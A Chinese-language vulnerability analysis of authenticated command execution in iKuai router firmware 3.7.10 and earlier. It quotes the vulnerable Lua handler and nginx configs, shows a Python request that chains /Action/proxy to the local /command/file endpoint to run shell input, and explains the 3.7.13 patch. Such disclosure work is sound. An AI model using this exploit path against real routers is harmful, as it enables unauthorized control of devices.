ikuai-3.7.10版本以下有授权的cmd执行复现

前言

经过测试该漏洞只出现在ikuai的3.7.10版本及其以下的固件中,在3.7.13中已经有了缓解措施,该漏洞因为是需要授权的,于是只能用于获取路由器权限来调试的一个办法,漏洞出现在ikrest.lua文件中

分析

首先看看ikrest.lua文件,关注点主要在ngx_var_uri为/command/file的时候,发现程序会去直接执行我们POST传参的数据,简单分析会去找到#!开头的数据,也是就说其实这文件是留给系统执行一个shell文件的代码,如果ngx_var_uri不是/command/file的话会去用参数调用,这个和另一个/Action/call的代码是一样的,这里只分析这个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83

local ResCallBodyErr = 10006 --Body内容太大
local ResCallJsonErr = 10007 --Json格式错误
local ResCallParamErr = 10008 --参数内容错误
local ResIkrestErr = 10013 --ik_rest HTTP 状态错误
local ResCmdFileErr = 10014 --CommandFile HTTP 状态错误

if ngx.var.request_method ~= "POST" and ngx.var.request_method ~= "PUT" then
ngx.exit(401)
end

if ngx.header["X-ACTIONPROXY"] then
ngx.exit(403)
end

ngx.req.read_body()
if not ngx.var.request_body then
ikngx.senderror(ResCallBodyErr, "Post body too large")
end

local ngx_var_uri = ngx.var.uri

if ngx_var_uri == "/command/file" then
local shell = require "resty.shell"
local ngx_pipe = require "ngx.pipe"
local timeout = 60000 --60s
local max_size = 10485760 --10Mbyte

local stdin = ngx.var.request_body

local cmd = stdin:match("^#!([^\n]+)")
local cmd_tab
if cmd then
cmd_tab = ikngx.split(cmd, " +")
else
cmd_tab = {"bash"}
end

local ok, stdout, stderr, reason, status = shell.run(cmd_tab, stdin, timeout, max_size)
cmd = nil
collectgarbage("collect")
if reason == "exit" then
ngx.header["Content-Length"] = #stdout
ngx.print(stdout)
else
ikngx.senderror2(ResCmdFileErr, stdout)
end

else
local res, call_json_tab = pcall(cjson.decode, ngx.var.request_body)
if not res then
ikngx.senderror(ResCallJsonErr, "decode json fail")
end

local func_name = call_json_tab["func_name"]
if not func_name or func_name == "" then
ikngx.senderror(ResCallParamErr, 'func_name is null')
end

local action = call_json_tab["action"]
if not action or action == "" then
ikngx.senderror(ResCallParamErr, 'action is null')
end

local env = {
IKREST_REFERER = "ik-http-server",
}

local ok, buf = ikngx.rest(call_json_tab, env)
ngx.header["Content-Type"] = "application/json;charset=UTF-8"

if ok then
ngx.header["Content-Length"] = #buf
ngx.print(buf)
else
ikngx.senderror2(ResIkrestErr, buf)
end


end

ngx.exit(0)

然后找一下哪里调用了这个代码

image-20240903150958456

发现webman_local.conf调用了这个文件,查看一下关键代码,发现程序监听了本地的34567端口,接收到数据后重定向到lua/webman/ikrest.lua文件处理

1
2
3
4
5
6
server {
listen 127.0.0.1:34567;
location / {
rewrite_by_lua_file lua/webman/ikrest.lua;
}
}

上面的代码说明这个漏洞触发只能通过本地发送过去,这时候系统本身有个proxy代理的功能,找到对应的文件,发现首先对$proxy_url进行清除,然后用index.lua进行了重定向,index.lua是用于强制https访问的,然后设置 X-ACTIONPROXY为 true

然后将请求代理到$proxy_url去,也就是转到对应的位置去

1
2
3
4
5
6
location /Action/proxy {
set $proxy_url "";
rewrite_by_lua_file lua/webman/index.lua;
proxy_set_header X-ACTIONPROXY "true";
proxy_pass $proxy_url;
}

利用

于是我们现在可以通过/Action/proxy代理到127.0.0.1:34567,然后通过 local ok, stdout, stderr, reason, status = shell.run(cmd_tab, stdin, timeout, max_size)执行我们的代码即可

1
2
3
4
5
6
res = session.post(
url=f"http://{host}/Action/proxy?http://127.0.0.1:34567/command/file",
headers=headers,
data=cmd,
timeout=(3,3),
)

修复

通过比较3.7.10和3.7.13的文件,发现唯一的差别就是

1
2
3
4
5
6
7
if ngx.header["X-ACTIONPROXY"] then
ngx.exit(403)
end
//修改为了
if ngx.var.http_x_actionproxy then
ngx.exit(403)
end

ngx.var.http_x_actionproxy: 检查客户端请求的头部。

ngx.header["X-ACTIONPROXY"]: 检查响应头是否已设置。

从而可以知道主要就是检查了X-ACTIONPROXY在请求头是否存在,且在修复漏洞前,存在 proxy_set_header X-ACTIONPROXY "true";可以知道其实开发程序员本来是有想法限制的,但是写代码的时候写错了,错校验成了响应